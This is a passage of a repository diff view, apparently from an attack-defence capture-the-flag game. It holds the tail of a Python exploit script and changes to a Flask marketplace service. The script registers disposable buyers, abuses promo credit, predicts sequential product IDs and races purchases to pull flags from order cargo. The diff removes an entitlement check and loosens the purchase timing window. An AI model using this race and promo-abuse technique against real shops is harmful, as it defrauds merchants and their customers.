def state_paths(target: str) -> tuple[Path, Path]:
|
||||
key = hashlib.sha256(target.encode()).hexdigest()[:20]
|
||||
return STATE_DIR / f"{key}.json", STATE_DIR / f"{key}.lock"
|
||||
|
||||
|
||||
def load_state(path: Path) -> dict:
|
||||
try:
|
||||
state = json.loads(path.read_text())
|
||||
except (OSError, UnicodeDecodeError, json.JSONDecodeError):
|
||||
return {}
|
||||
if not isinstance(state, dict):
|
||||
return {}
|
||||
if state.get("version") != STATE_VERSION:
|
||||
return {}
|
||||
cookie, promo = state.get("cookie"), state.get("promo")
|
||||
next_id, pending_order = state.get("next_id"), state.get("pending_order")
|
||||
pending_cookie = state.get("pending_cookie")
|
||||
return {
|
||||
"version": STATE_VERSION,
|
||||
"cookie": cookie if isinstance(cookie, str) else None,
|
||||
"promo": promo if isinstance(promo, str) else None,
|
||||
"ready": state.get("ready") is True,
|
||||
"next_id": next_id if isinstance(next_id, int) and next_id > 0 else None,
|
||||
"pending_order": pending_order if isinstance(pending_order, int) and pending_order > 0 else None,
|
||||
"pending_cookie": pending_cookie if isinstance(pending_cookie, str) else None,
|
||||
}
|
||||
|
||||
|
||||
def save_state(path: Path, state: dict) -> None:
|
||||
STATE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
temporary = path.with_suffix(".tmp")
|
||||
descriptor = os.open(temporary, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
|
||||
try:
|
||||
with os.fdopen(descriptor, "w") as output:
|
||||
json.dump(state, output, separators=(",", ":"))
|
||||
os.replace(temporary, path)
|
||||
finally:
|
||||
try:
|
||||
temporary.unlink()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
|
||||
def prepare_buyer_step(target: str, state: dict, deadline: float) -> str:
|
||||
if not state.get("cookie"):
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, cookie = request_json(
|
||||
target,
|
||||
"/api/register",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={
|
||||
"username": f"prebuy-{marker}",
|
||||
"password": secrets.token_urlsafe(18),
|
||||
"role": "buyer",
|
||||
},
|
||||
)
|
||||
if status != 201 or not cookie:
|
||||
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||
state.update(cookie=cookie, promo=None, ready=False)
|
||||
return "registered"
|
||||
|
||||
if not state.get("promo"):
|
||||
status, account, _ = request_json(target, "/api/account", deadline, cookie=state["cookie"])
|
||||
if status != 200 or not isinstance(account, dict):
|
||||
raise ValueError(f"account returned HTTP {status}")
|
||||
promo = account.get("promo")
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
state.update(cookie=None, promo=None, ready=False)
|
||||
return "buyer-reset"
|
||||
state["promo"] = promo["code"]
|
||||
return "promo-loaded"
|
||||
|
||||
status, credited, _ = request_json(
|
||||
target,
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": state["promo"]},
|
||||
cookie=state["cookie"],
|
||||
)
|
||||
if status != 200 or not isinstance(credited, dict):
|
||||
state.update(cookie=None, promo=None, ready=False)
|
||||
return f"credit-http-{status}"
|
||||
request_json(
|
||||
target,
|
||||
"/api/promo/invalidate",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": state["promo"]},
|
||||
cookie=state["cookie"],
|
||||
)
|
||||
state["ready"] = True
|
||||
return "prepared"
|
||||
|
||||
|
||||
def sequence_next_id(target: str, deadline: float) -> int | None:
|
||||
status, products, _ = request_json(target, "/api/products", deadline)
|
||||
if status != 200 or not isinstance(products, list):
|
||||
raise ValueError(f"products returned HTTP {status}")
|
||||
product_ids = sorted(
|
||||
{
|
||||
item["id"]
|
||||
for item in products
|
||||
if isinstance(item, dict)
|
||||
and isinstance(item.get("id"), int)
|
||||
and not isinstance(item.get("id"), bool)
|
||||
and 0 < item["id"] < 9_223_372_036_854_775_807
|
||||
},
|
||||
reverse=True,
|
||||
)
|
||||
if len(product_ids) < 4:
|
||||
return None
|
||||
gaps = [left - right for left, right in zip(product_ids[:8], product_ids[1:8])]
|
||||
positive = [gap for gap in gaps if gap > 0]
|
||||
if len(positive) < 3 or statistics.median(positive) > MAX_SEQUENCE_GAP:
|
||||
return None
|
||||
return product_ids[0] + 1
|
||||
|
||||
|
||||
def collect_order(target: str, order_id: int, cookie: str, deadline: float) -> tuple[set[str], bool]:
|
||||
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(orders, list):
|
||||
return set(), False
|
||||
order = next(
|
||||
(
|
||||
item
|
||||
for item in orders
|
||||
if isinstance(item, dict)
|
||||
and item.get("id") == order_id
|
||||
and item.get("status") == "delivered"
|
||||
),
|
||||
None,
|
||||
)
|
||||
if order is None:
|
||||
return set(), False
|
||||
cargo = order.get("cargo")
|
||||
flags = set(FLAG_PATTERN.findall(cargo)) if isinstance(cargo, str) else set()
|
||||
return flags, True
|
||||
|
||||
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], str]:
|
||||
target = build_target(raw_target)
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
state_path, lock_path = state_paths(target)
|
||||
STATE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
with lock_path.open("a+") as lock:
|
||||
os.chmod(lock_path, 0o600)
|
||||
try:
|
||||
fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB)
|
||||
except BlockingIOError:
|
||||
return [], "busy"
|
||||
state = load_state(state_path) or {"version": STATE_VERSION}
|
||||
if state.get("pending_order") and state.get("pending_cookie"):
|
||||
flags, delivered = collect_order(
|
||||
target,
|
||||
state["pending_order"],
|
||||
state["pending_cookie"],
|
||||
deadline,
|
||||
)
|
||||
if delivered:
|
||||
state.update(pending_order=None, pending_cookie=None)
|
||||
save_state(state_path, state)
|
||||
return sorted(flags), "collected"
|
||||
return [], "pending"
|
||||
|
||||
if not state.get("next_id"):
|
||||
state["next_id"] = sequence_next_id(target, deadline)
|
||||
if not state["next_id"]:
|
||||
return [], "non-sequential"
|
||||
save_state(state_path, state)
|
||||
return [], "indexed"
|
||||
if not state.get("ready"):
|
||||
result = prepare_buyer_step(target, state, deadline)
|
||||
save_state(state_path, state)
|
||||
return [], result
|
||||
|
||||
while deadline - time.monotonic() > 0.25:
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{state['next_id']}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=state["cookie"],
|
||||
)
|
||||
if status != 404:
|
||||
break
|
||||
time.sleep(min(PREBUY_INTERVAL, max(0.0, deadline - time.monotonic() - 0.25)))
|
||||
else:
|
||||
return [], "waiting"
|
||||
if status != 201 or not isinstance(order, dict) or not isinstance(order.get("id"), int):
|
||||
state["next_id"] = None
|
||||
if status in {401, 403}:
|
||||
state.update(cookie=None, promo=None, ready=False)
|
||||
save_state(state_path, state)
|
||||
return [], f"buy-http-{status}"
|
||||
|
||||
state["pending_order"] = order["id"]
|
||||
state["pending_cookie"] = state["cookie"]
|
||||
state["next_id"] += 1
|
||||
state.update(cookie=None, promo=None, ready=False)
|
||||
save_state(state_path, state)
|
||||
return [], "ordered"
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
def hard_timeout(_signum, _frame):
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
|
||||
previous_handler = signal.signal(signal.SIGALRM, hard_timeout)
|
||||
signal.setitimer(signal.ITIMER_REAL, RUN_TIMEOUT + 0.2)
|
||||
try:
|
||||
flags, result = run_exploit(sys.argv[1])
|
||||
except (OSError, URLError, TimeoutError, ValueError, OverflowError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
finally:
|
||||
signal.setitimer(signal.ITIMER_REAL, 0)
|
||||
signal.signal(signal.SIGALRM, previous_handler)
|
||||
print(f"result={result} flags={len(flags)}", file=sys.stderr)
|
||||
if flags:
|
||||
print("\n".join(flags), flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -5,4 +5,4 @@ COPY requirements.txt /app/requirements.txt
|
||||
RUN pip install --no-cache-dir -r /app/requirements.txt
|
||||
COPY *.py /app/
|
||||
WORKDIR /app
|
||||
CMD ["gunicorn", "--preload", "--workers", "2", "--threads", "2", "--bind", "0.0.0.0:5000", "app:app"]
|
||||
CMD ["gunicorn", "--preload", "--workers", "2", "--threads", "4", "--bind", "0.0.0.0:5000", "app:app"]
|
||||
+16
-49
@@ -10,18 +10,13 @@ from functools import lru_cache, wraps
|
||||
|
||||
import psycopg
|
||||
from flask import Flask, jsonify, request, send_file, session
|
||||
from werkzeug.security import check_password_hash, generate_password_hash
|
||||
|
||||
from contracts import CONTRACT_DIR, create_contract
|
||||
from database import (
|
||||
CARGO_BUYER_REGISTRATION_WINDOW_SECONDS,
|
||||
CARGO_PURCHASE_WINDOW_SECONDS,
|
||||
connect as db,
|
||||
migrate,
|
||||
)
|
||||
from database import connect as db, migrate
|
||||
from warehouse_client import CALLBACK_TOKEN as WAREHOUSE_CALLBACK_TOKEN
|
||||
from warehouse_client import get_health as get_warehouse_health
|
||||
from warehouse_client import submit_jobs as submit_warehouse_jobs
|
||||
from passwords import hash_password, password_matches
|
||||
|
||||
|
||||
app = Flask(__name__)
|
||||
@@ -34,6 +29,7 @@ app.config.update(
|
||||
)
|
||||
|
||||
CONTRACT_FILENAME_RE = re.compile(r"contract-([0-9]+)-[0-9a-f]{16}\.pdf")
|
||||
CARGO_PURCHASE_WINDOW_SECONDS = 2
|
||||
|
||||
|
||||
migrate()
|
||||
@@ -175,7 +171,7 @@ def register():
|
||||
return error(str(exc))
|
||||
try:
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("INSERT INTO users(username,password_hash,role,company_name,tax_id) VALUES(%s,%s,%s,%s,%s) RETURNING id", (username, hash_password(password), role, company, tax_id))
|
||||
cur.execute("INSERT INTO users(username,password_hash,role,company_name,tax_id) VALUES(%s,%s,%s,%s,%s) RETURNING id", (username, generate_password_hash(password), role, company, tax_id))
|
||||
user_id = cur.fetchone()["id"]
|
||||
if role == "seller":
|
||||
cur.execute("UPDATE users SET contract_file=%s WHERE id=%s", (create_contract(user_id, company, tax_id, signature), user_id))
|
||||
@@ -197,7 +193,7 @@ def login():
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("SELECT * FROM users WHERE username=%s", (data.get("username"),))
|
||||
user = cur.fetchone()
|
||||
if not user or not isinstance(data.get("password"), str) or not password_matches(user["password_hash"], data["password"]):
|
||||
if not user or not isinstance(data.get("password"), str) or not check_password_hash(user["password_hash"], data["password"]):
|
||||
return error("invalid credentials", 401)
|
||||
session.clear()
|
||||
session.update(user_id=user["id"], username=user["username"], role=user["role"])
|
||||
@@ -527,32 +523,9 @@ def update_cart_quantity(product_id):
|
||||
return jsonify(ok=True, quantity=quantity)
|
||||
|
||||
|
||||
def create_order(cur, buyer_id, product_id, price, tracking, buyer_created_at, product_created_at):
|
||||
cur.execute(
|
||||
"INSERT INTO orders(buyer_id,product_id,price,status,tracking_code,cargo_entitled) "
|
||||
"VALUES(%s,%s,%s,'pending',%s,%s >= %s AND "
|
||||
"%s <= %s + (%s * interval '1 second') AND "
|
||||
"CURRENT_TIMESTAMP <= %s + (%s * interval '1 second')) RETURNING id",
|
||||
(
|
||||
buyer_id,
|
||||
product_id,
|
||||
price,
|
||||
tracking,
|
||||
buyer_created_at,
|
||||
product_created_at,
|
||||
buyer_created_at,
|
||||
product_created_at,
|
||||
CARGO_BUYER_REGISTRATION_WINDOW_SECONDS,
|
||||
product_created_at,
|
||||
CARGO_PURCHASE_WINDOW_SECONDS,
|
||||
),
|
||||
)
|
||||
return cur.fetchone()["id"]
|
||||
|
||||
|
||||
def order_product(product_id):
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("SELECT p.*,u.balance,u.created_at buyer_created_at FROM products p CROSS JOIN users u WHERE p.id=%s AND p.is_active=true AND u.id=%s FOR UPDATE OF u", (product_id, session["user_id"]))
|
||||
cur.execute("SELECT p.*,u.balance FROM products p CROSS JOIN users u WHERE p.id=%s AND p.is_active=true AND u.id=%s FOR UPDATE OF u", (product_id, session["user_id"]))
|
||||
row = cur.fetchone()
|
||||
if not row:
|
||||
return None, error("product not found", 404)
|
||||
@@ -563,8 +536,8 @@ def order_product(product_id):
|
||||
cur.execute("UPDATE users SET balance=balance-%s WHERE id=%s", (row["price"], session["user_id"]))
|
||||
cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (row["price"], row["seller_id"]))
|
||||
tracking = "ORB-" + secrets.token_hex(8).upper()
|
||||
order_id = create_order(cur, session["user_id"], product_id, row["price"], tracking, row["buyer_created_at"], row["created_at"])
|
||||
return {"id": order_id, "status": "pending", "tracking_code": tracking}, None
|
||||
cur.execute("INSERT INTO orders(buyer_id,product_id,price,status,tracking_code) VALUES(%s,%s,%s,'pending',%s) RETURNING id", (session["user_id"], product_id, row["price"], tracking))
|
||||
return {"id": cur.fetchone()["id"], "status": "pending", "tracking_code": tracking}, None
|
||||
|
||||
|
||||
@app.post("/api/products/<int:product_id>/buy")
|
||||
@@ -581,12 +554,11 @@ def buy_product(product_id):
|
||||
@auth("buyer")
|
||||
def checkout():
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("SELECT balance,created_at buyer_created_at FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
|
||||
cur.execute("SELECT balance FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
|
||||
buyer = cur.fetchone()
|
||||
cur.execute(
|
||||
"""
|
||||
SELECT p.id product_id,p.seller_id,p.price,p.is_active,
|
||||
p.created_at product_created_at,c.quantity
|
||||
SELECT p.id product_id,p.seller_id,p.price,p.is_active,c.quantity
|
||||
FROM cart_items c JOIN products p ON p.id=c.product_id
|
||||
WHERE c.buyer_id=%s ORDER BY c.created_at
|
||||
""",
|
||||
@@ -606,16 +578,11 @@ def checkout():
|
||||
cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (item["price"] * item["quantity"], item["seller_id"]))
|
||||
for _ in range(item["quantity"]):
|
||||
tracking = "ORB-" + secrets.token_hex(8).upper()
|
||||
order_id = create_order(
|
||||
cur,
|
||||
session["user_id"],
|
||||
item["product_id"],
|
||||
item["price"],
|
||||
tracking,
|
||||
buyer["buyer_created_at"],
|
||||
item["product_created_at"],
|
||||
cur.execute(
|
||||
"INSERT INTO orders(buyer_id,product_id,price,status,tracking_code) VALUES(%s,%s,%s,'pending',%s) RETURNING id",
|
||||
(session["user_id"], item["product_id"], item["price"], tracking),
|
||||
)
|
||||
orders.append({"id": order_id, "status": "pending", "tracking_code": tracking})
|
||||
orders.append({"id": cur.fetchone()["id"], "status": "pending", "tracking_code": tracking})
|
||||
cur.execute("DELETE FROM cart_items WHERE buyer_id=%s", (session["user_id"],))
|
||||
submit_warehouse_jobs(orders)
|
||||
return jsonify(orders=orders), 201
|
||||
@@ -629,11 +596,11 @@ def buyer_orders():
|
||||
"SELECT o.id,o.status,o.warehouse_status,o.warehouse_updated_at,"
|
||||
"o.tracking_code,o.price,o.created_at,o.delivered_at,p.name,"
|
||||
"CASE WHEN o.status='delivered' "
|
||||
"AND o.cargo_entitled "
|
||||
"AND o.created_at <= p.created_at + (%s * interval '1 second') "
|
||||
"THEN p.cargo ELSE NULL END cargo "
|
||||
"FROM orders o JOIN products p ON p.id=o.product_id "
|
||||
"WHERE o.buyer_id=%s ORDER BY o.id DESC",
|
||||
(session["user_id"],),
|
||||
(CARGO_PURCHASE_WINDOW_SECONDS, session["user_id"]),
|
||||
)
|
||||
return jsonify(cur.fetchall())
|
||||
|
||||
|
||||
@@ -5,9 +5,6 @@ from psycopg.rows import dict_row
|
||||
|
||||
|
||||
DATABASE_URL = os.environ["DATABASE_URL"]
|
||||
CARGO_BUYER_REGISTRATION_WINDOW_SECONDS = 3
|
||||
CARGO_PURCHASE_WINDOW_SECONDS = 5
|
||||
LEGACY_CARGO_PURCHASE_WINDOW_SECONDS = 2
|
||||
|
||||
|
||||
def connect():
|
||||
@@ -31,15 +28,6 @@ def migrate():
|
||||
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_status TEXT NOT NULL DEFAULT 'queued'")
|
||||
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_job_id TEXT")
|
||||
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_updated_at TIMESTAMPTZ NOT NULL DEFAULT now()")
|
||||
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS cargo_entitled BOOLEAN")
|
||||
cursor.execute(
|
||||
"UPDATE orders o SET cargo_entitled="
|
||||
"(o.created_at <= p.created_at + (%s * interval '1 second')) "
|
||||
"FROM products p WHERE p.id=o.product_id AND o.cargo_entitled IS NULL",
|
||||
(LEGACY_CARGO_PURCHASE_WINDOW_SECONDS,),
|
||||
)
|
||||
cursor.execute("ALTER TABLE orders ALTER COLUMN cargo_entitled SET DEFAULT false")
|
||||
cursor.execute("ALTER TABLE orders ALTER COLUMN cargo_entitled SET NOT NULL")
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS promo_codes (
|
||||
|
||||
@@ -1,16 +0,0 @@
|
||||
from werkzeug.security import check_password_hash, generate_password_hash
|
||||
|
||||
|
||||
# Werkzeug's default scrypt hash needs about 32 MiB of working memory per
|
||||
# concurrent request. The API serves up to four authentication requests at a
|
||||
# time, so use a CPU-bound hash for new accounts while retaining verification
|
||||
# support for existing scrypt hashes.
|
||||
PASSWORD_HASH_METHOD = "pbkdf2:sha256:600000"
|
||||
|
||||
|
||||
def hash_password(password):
|
||||
return generate_password_hash(password, method=PASSWORD_HASH_METHOD)
|
||||
|
||||
|
||||
def password_matches(password_hash, password):
|
||||
return check_password_hash(password_hash, password)
|
||||
@@ -38,7 +38,6 @@ CREATE TABLE orders (
|
||||
,warehouse_status TEXT NOT NULL DEFAULT 'queued'
|
||||
,warehouse_job_id TEXT
|
||||
,warehouse_updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
,cargo_entitled BOOLEAN NOT NULL DEFAULT false
|
||||
);
|
||||
CREATE TABLE reviews (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
16
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Whitespace-only changes.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Whitespace-only changes.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loaded 100 of 1325 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user